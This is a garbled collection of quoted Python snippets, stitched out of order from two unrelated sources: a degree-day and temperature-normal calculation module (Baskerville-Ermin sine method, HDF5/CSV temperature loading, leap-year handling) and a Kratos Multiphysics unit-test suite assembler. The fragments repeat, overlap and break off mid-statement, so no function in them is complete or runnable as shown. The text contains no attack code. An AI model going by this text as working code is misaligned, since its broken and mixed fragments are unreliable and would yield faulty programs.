hrs_freq = '24h' else: raise", "# probably not needed # build up a 'long normal'", "is not None: tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz", "t # Function which computes BM (single sine method) degree", "= (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) # @TCC", "assert norm.shape[0] == 365*hrs # make Feb 29 the mean", "Datetime or None if given (not None), output range does", "axis=1) # compute the degree-days for each day in the", "'daily': hrs = 1 hrs_freq = '24h' else: raise ValueError(\"Invalid", "0 if max < base (curve all below base) if", "= e # and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan", "def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False):", "dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] =", "end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters ---------- start:", "Step 3: Calc mean temp for day; already done previously", "sys import os import logging import numpy as np import", "start_year is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date", "'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False, \"Error:", "== 365*hrs # make Feb 29 the mean of Feb", "if norm.shape[0] == 366*hrs: norm = norm.drop((2,29,)) else: # norm", "norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed # build", ": should be [-1:1]'.format(tmp)) tmp = -1 if tmp >", "norm = norm.drop((2,29,)) else: # norm doesn't include any leapyear", "- base_temp # Step 5: else use curve minus part", "return tempdf def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0) if", "= (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs)))", "and trim to the desired output range start = pd.to_datetime(start)", "computes BM (single sine method) degree day generation from temperature", "already be daily or hourly (depending on `freq`)! norm_method :", "to Datetime end range of dates to output norm_start :", "day in the temperature input (from tmin and tmax vectors)", "groupby) # grp = t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x:", "{:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs: foo = norm_ly.copy() else:", "skip resample and interpolation, so `in_dataframe` must already be daily", "'{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs: foo = norm_ly.copy()", "def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\"", "# Step 5: else use curve minus part below base", "of dates to output norm_start : convertable to Datetime or", "min values\\n\", dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None,", "base_temp), axis=1) # compute the degree-days for each day in", "a daily groupby) # grp = t.groupby(pd.TimeGrouper('D')) # dd =", "/ 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index()", "data assert norm.shape[0] == 365*hrs # make Feb 29 the", "base_temp: dd = avet - base_temp # Step 5: else", "make Feb 29 the mean of Feb 28 and Mar", "degree-day method to compute the degree-day values for each a", "\"\"\" if avet is None: avet = (mint+maxt)/2.0 # simple", "os import logging import numpy as np import pandas as", "import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0", "convert those indexes into end times e = pd.Series(index=dd.index, dtype='float64')#,", "'hourly'} interp_method : str or None `None` will skip resample", "np import pandas as pd import dateutil def tempF2C(x): return", "#dd[label+'_idx'] = tmp # convert those indexes into end times", "Datetime end range of dates to output norm_start : convertable", "simple midpoint (like in the refs) dd = np.nan #", "the desired output range start = pd.to_datetime(start) end = pd.to_datetime(end)", "x.month, x.day) tempdf = tempdf.loc[:tmp] if start_year is not None:", "file '{}'\".format(temps_fn)) if basedir is not None: temps_fn = os.path.join(basedir,", "tmax, base_temp, dd_gen): # Used internally def _compute_daily_BM_DD(mint, maxt, avet,", "probably not needed # build up a 'long normal' (lnorm)", "pass t.index = t.index.tz_convert(sitetz) return t # Function which computes", "= \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file '{}'\".format(temps_fn)) if basedir is", "sine) degree-day method to compute the degree-day values for each", "(x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature", "daily groupby) # grp = t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda", "midpoint (like in the refs) dd = np.nan # value", "except TypeError: pass t.index = t.index.tz_convert(sitetz) return t # Function", "'to', norm_end) if interp_method is None: # skip resample+interpolation (assumes", "counts elif mint >= base_temp: dd = avet - base_temp", "= t.index.tz_convert(sitetz) return t # Function which computes BM (single", "mean temp for day; already done previously # Step 4:", "_compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns = ['DD'] # Find", "avet, base_temp): \"\"\"Use standard Baskerville-Ermin (single sine) degree-day method to", "e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e # and duration... #dd[label]", "return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load", "= norm.copy() if norm.shape[0] == 366*hrs: norm = norm.drop((2,29,)) else:", "norm.copy() if norm.shape[0] == 366*hrs: norm = norm.drop((2,29,)) else: #", "and Mar 1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0", "and interpolation, so `in_dataframe` must already be daily or hourly", "needed # build up a 'long normal' (lnorm) dataframe year", "standard Baskerville-Ermin (single sine) degree-day method to compute the degree-day", "used: {} through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None):", "code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days)", "tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] =", "avet - base_temp # Step 5: else use curve minus", "foo = norm_ly.copy() else: assert norm.shape[0] == 365*hrs foo =", "end range of dates to output norm_start : convertable to", "dd.columns = ['DD'] # Find the point where cumulative sums", "now replicate and trim to the desired output range start", "(pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] =", "values for each a single day. \"\"\" if avet is", "None for yr in np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d}", "_compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use standard Baskerville-Ermin (single sine) degree-day", "(from a daily groupby) # grp = t.groupby(pd.TimeGrouper('D')) # dd", "365*hrs foo = norm.copy() foo.index = idx if lnorm is", "dd = 0 # Step 3: Calc mean temp for", "part below base else: W = (maxt-mint)/2.0 tmp = (base_temp-avet)", "= 0 # Step 3: Calc mean temp for day;", "tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ##", "+ norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly", "degree day generation from temperature data def compute_BMDD_Fs(tmin, tmax, base_temp,", "be daily or hourly (depending on `freq`)! norm_method : {'mean',", "tempdf = pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60", "import numpy as np import pandas as pd import dateutil", "up a 'long normal' (lnorm) dataframe year by year by", "whole curve counts elif mint >= base_temp: dd = avet", "if csv contains datetimes with TZ t.index = pd.to_datetime(t.index) try:", "trim to the desired output range start = pd.to_datetime(start) end", "all below base) if maxt < base_temp: dd = 0", "local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature # temps_fn =", "= (base_temp-avet) / W if tmp < -1: print('WARNING: (base_temp-avet)/W", "doesn't include any leapyear data assert norm.shape[0] == 365*hrs #", "pd.to_datetime(start) end = pd.to_datetime(end) # need a non-leapyear and leapyear", "axis=1) dd.columns = ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0],", "cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp", "if maxt < base_temp: dd = 0 # Step 3:", "freq == 'daily': hrs = 1 hrs_freq = '24h' else:", "import os import logging import numpy as np import pandas", "None if given (not None), output range does not include", "'24h' else: raise ValueError(\"Invalid `freq` argument value: {}\".format(freq)) if norm_start", "= x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp]", "np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]),", "to Datetime or None if given (not None), output range", "= dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)]", "norm_start, 'to', norm_end) if interp_method is None: # skip resample+interpolation", "include any leapyear data assert norm.shape[0] == 365*hrs # make", "non-leapyear and leapyear version norm_ly = norm.copy() if norm.shape[0] ==", "= pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably", "[[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'],", "= 1 A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd", "contains datetimes with TZ t.index = pd.to_datetime(t.index) try: t.index =", "x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns = ['DD'] #", "= t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median': norm =", "range does not include `norm_end` (it is half-open) `None` will", "in np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d}", "index_col=0) if local_time_offset is not None: tmp = local_time_offset.split(':') tmp", "done previously # Step 4: min > base; then whole", "output range start = pd.to_datetime(start) end = pd.to_datetime(end) # need", "t.index = t.index.tz_localize('UTC') except TypeError: pass t.index = t.index.tz_convert(sitetz) return", "and tmax vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin',", "if freq == 'hourly': hrs = 24 hrs_freq = '1h'", "None), output range does not include `norm_end` (it is half-open)", "convertable to Datetime end range of dates to output norm_start", "365*hrs # make Feb 29 the mean of Feb 28", "side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp # convert those", "by appending the norm or norm_ly lnorm = None for", "local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index =", "as np import pandas as pd import dateutil def tempF2C(x):", "= np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan", "assert norm.shape[0] == 365*hrs foo = norm.copy() foo.index = idx", "[-1:1]'.format(tmp)) tmp = -1 if tmp > 1: print('WARNING: (base_temp-avet)/W", "norm_ly.copy() else: assert norm.shape[0] == 365*hrs foo = norm.copy() foo.index", "tmp # convert those indexes into end times e =", "tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0)", "python3 import sys import os import logging import numpy as", "= tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1] if x.hour !=", "!= 23: x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day)", "else: W = (maxt-mint)/2.0 tmp = (base_temp-avet) / W if", "t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp))", "return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None,", "or None if given (not None), output range does not", "= pd.read_csv(fn, index_col=0) if local_time_offset is not None: tmp =", "= norm.drop((2,29,)) else: # norm doesn't include any leapyear data", "norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly =", "= in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm = t.groupby([t.index.month, t.index.day,", "start: convertable to Datetime start range of dates to output", "= in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate to get hourly", "#!/usr/bin/env python3 import sys import os import logging import numpy", "logging import numpy as np import pandas as pd import", "2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True)", "# Find the point where cumulative sums of degree days", "Used internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use standard Baskerville-Ermin", "29 the mean of Feb 28 and Mar 1 foo", "in the temperature input (from tmin and tmax vectors) dd", "dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if", "dd = pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax'] dd['DD'] =", "minus part below base else: W = (maxt-mint)/2.0 tmp =", "< base_temp: dd = 0 # Step 3: Calc mean", "(single sine method) degree day generation from temperature data def", "= local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index", "\"\"\"Use standard Baskerville-Ermin (single sine) degree-day method to compute the", "= '1h' elif freq == 'daily': hrs = 1 hrs_freq", "build up a 'long normal' (lnorm) dataframe year by year", "elif freq == 'daily': hrs = 1 hrs_freq = '24h'", "local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index =", "previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] =", "will use in_dataframe.index[0] norm_end : convertable to Datetime or None", "saved temperatures file '{}'\".format(temps_fn)) if basedir is not None: temps_fn", "if pd.isnull(x) else x.days) # @TCC previous code dd[label] =", "idx if lnorm is None: lnorm = foo else: lnorm", "if tmp > 1: print('WARNING: (base_temp-avet)/W = {} : should", "else use curve minus part below base else: W =", "should be [-1:1]'.format(tmp)) tmp = -1 if tmp > 1:", "norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False, \"Error: Unknown", "pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz =", "leapyear version norm_ly = norm.copy() if norm.shape[0] == 366*hrs: norm", "try: t.index = t.index.tz_localize('UTC') except TypeError: pass t.index = t.index.tz_convert(sitetz)", "date range used: {} through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def" ]
[ "Kratos import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as", "BEGIN VALIDATION SUITE ### # For very long tests that", "o test_classes to create the suits ## SMALL TESTS ##", "a test suit with the selected tests plus all small", "### BEGIN SMALL SUITE ### ### END SMALL SUITE ###", "allSuite.addTests(nightlySuite) # Already contains the smallSuite validationSuite.addTests(allSuite) # Validation contains", "VALIDATION TESTS def AssembleTestSuites(): ''' Populates the test suites to", "END VALIDATION ### # Create a test suit that contains", "\"all\" Return ------ suites: A dictionary of suites The set", "can use to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END", "unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\") KratosUnittest.runTests(AssembleTestSuites()) KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished", "with the selected tests (Small tests): smallSuite = suites['small'] #", "the suites: \"small\", \"nighlty\" and \"all\" Return ------ suites: A", "\"\\nRunning cpp unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp", "StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos", "pupulate the suites: \"small\", \"nighlty\" and \"all\" Return ------ suites:", "to run. Populates the test suites to run. At least,", "#### STANDALONE #### SMALL #### NIGTHLY #### VALIDATION #]) #)", "import subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if", "use to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION", "plus all small tests nightlySuite = suites['nightly'] ### BEGIN SMALL", "tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\") KratosUnittest.runTests(AssembleTestSuites()) KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished python", "### END VALIDATION SUITE ### ### BEGIN VALIDATION SUITE ###", "import Kratos import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication", "'__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished", "else: has_external_solvers_application = False # Import the tests o test_classes", "suites with its test_cases added. ''' suites = KratosUnittest.KratosSuites #", "run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python", "a test suit that contains all the tests: allSuite =", "if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application = False #", "import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication", "smallSuite = suites['small'] # Create a test suit with the", "debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL #### NIGTHLY ####", "import KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess import subprocess #", "should not be in nighly and you can use to", "Kratos \"wrapper\" for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest # Import", "------ suites: A dictionary of suites The set of suites", "NIGHTLY SUITE ### ### END VALIDATION SUITE ### ### BEGIN", "Import subprocess import subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities as", "as KratosUnittest # Import subprocess import subprocess # Using kratos_utilities", "subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"):", "### END VALIDATION ### # Create a test suit that", "for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess import", "tests plus all small tests nightlySuite = suites['nightly'] ### BEGIN", "### END SMALL SUITE ### ### BEGIN NIGHTLY SUITE ###", "### BEGIN NIGHTLY SUITE ### ### END VALIDATION SUITE ###", "KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application", "least, it should pupulate the suites: \"small\", \"nighlty\" and \"all\"", "and you can use to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite)", "suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests", "VALIDATION ### # Create a test suit that contains all", "suit that contains all the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite)", "\"wrapper\" for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess", "#KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL #### NIGTHLY #### VALIDATION #])", "cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\") KratosUnittest.runTests(AssembleTestSuites()) KratosMultiphysics.Logger.PrintInfo(\"Unittests\",", "KratosUnittest # Import subprocess import subprocess # Using kratos_utilities import", "Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL", "suites to run. At least, it should pupulate the suites:", "= suites['nightly'] ### BEGIN SMALL SUITE ### ### END SMALL", "### ### BEGIN VALIDATION SUITE ### # For very long", "VALIDATION #]) #) return suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\",", "# Import Kratos \"wrapper\" for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest", "#]) #) return suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning", "tests (Small tests): smallSuite = suites['small'] # Create a test", "VALIDATION SUITE ### # For very long tests that should", "# Create a test suit with the selected tests plus", "\"nighlty\" and \"all\" Return ------ suites: A dictionary of suites", "not be in nighly and you can use to validate", "suites: \"small\", \"nighlty\" and \"all\" Return ------ suites: A dictionary", "tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\",", "suites['nightly'] ### BEGIN SMALL SUITE ### ### END SMALL SUITE", "Create a test suit that contains all the tests: allSuite", "kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application = False # Import", "selected tests (Small tests): smallSuite = suites['small'] # Create a", "test suit that contains all the tests: allSuite = suites['all']", "suit with the selected tests plus all small tests nightlySuite", "all the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already contains", "NIGTHLY #### VALIDATION #]) #) return suites if __name__ ==", "as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import", "to run. At least, it should pupulate the suites: \"small\",", "Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application =", "Create a test suit with the selected tests plus all", "### ### END SMALL SUITE ### ### BEGIN NIGHTLY SUITE", "# Already contains the smallSuite validationSuite.addTests(allSuite) # Validation contains all", "to create the suits ## SMALL TESTS ## NIGTHLY TESTS", "suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ### # Create a test", "__name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests ...\") run_cpp_unit_tests.run()", "that contains all the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) #", "unittests import KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess import subprocess", "as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application =", "False # Import the tests o test_classes to create the", "in nighly and you can use to validate validationSuite =", "the test suites to run. At least, it should pupulate", "KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos \"wrapper\" for", "KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess import subprocess # Using", "added. ''' suites = KratosUnittest.KratosSuites # Create a test suit", "set of suites with its test_cases added. ''' suites =", "# Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application", "all small tests nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE", "a test suit with the selected tests (Small tests): smallSuite", "validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ### # Create", "subprocess import subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities", "Already contains the smallSuite validationSuite.addTests(allSuite) # Validation contains all #", "SUITE ### ### END SMALL SUITE ### ### BEGIN NIGHTLY", "be in nighly and you can use to validate validationSuite", "SMALL SUITE ### ### END SMALL SUITE ### ### BEGIN", "run. At least, it should pupulate the suites: \"small\", \"nighlty\"", "test suites to run. At least, it should pupulate the", "# Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE ####", "you can use to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ###", "the smallSuite validationSuite.addTests(allSuite) # Validation contains all # Manual list", "## SMALL TESTS ## NIGTHLY TESTS ## VALIDATION TESTS def", "= suites['all'] allSuite.addTests(nightlySuite) # Already contains the smallSuite validationSuite.addTests(allSuite) #", "At least, it should pupulate the suites: \"small\", \"nighlty\" and", "unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit tests!\")", "### # For very long tests that should not be", "KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests #", "\"Finished running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\")", "suits ## SMALL TESTS ## NIGTHLY TESTS ## VALIDATION TESTS", "# import Kratos import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import", "import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests", "the test suites to run. Populates the test suites to", "and \"all\" Return ------ suites: A dictionary of suites The", "contains all # Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ ####", "allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already contains the smallSuite validationSuite.addTests(allSuite)", "SMALL #### NIGTHLY #### VALIDATION #]) #) return suites if", "True else: has_external_solvers_application = False # Import the tests o", "SMALL TESTS ## NIGTHLY TESTS ## VALIDATION TESTS def AssembleTestSuites():", "# Create a test suit that contains all the tests:", "its test_cases added. ''' suites = KratosUnittest.KratosSuites # Create a", "contains all the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already", "# Validation contains all # Manual list for debugging #allSuite.addTests(", "kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True", "SMALL SUITE ### ### BEGIN NIGHTLY SUITE ### ### END", "VALIDATION SUITE ### ### BEGIN VALIDATION SUITE ### # For", "## VALIDATION TESTS def AssembleTestSuites(): ''' Populates the test suites", "with its test_cases added. ''' suites = KratosUnittest.KratosSuites # Create", "#allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL #### NIGTHLY #### VALIDATION", "KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running", "### # Create a test suit that contains all the", "list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL ####", "= suites['small'] # Create a test suit with the selected", "For very long tests that should not be in nighly", "if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests ...\")", "== '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\",", "SUITE ### ### END VALIDATION SUITE ### ### BEGIN VALIDATION", "tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already contains the smallSuite", "KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests", "AssembleTestSuites(): ''' Populates the test suites to run. Populates the", "return suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp unit", "# Import subprocess import subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities", "has_external_solvers_application = True else: has_external_solvers_application = False # Import the", "validationSuite.addTests(allSuite) # Validation contains all # Manual list for debugging", "KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import", "import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos \"wrapper\"", "The set of suites with its test_cases added. ''' suites", "TESTS def AssembleTestSuites(): ''' Populates the test suites to run.", "validationSuite.addTests(nightlySuite) ### END VALIDATION ### # Create a test suit", "nighly and you can use to validate validationSuite = suites['validation']", "''' suites = KratosUnittest.KratosSuites # Create a 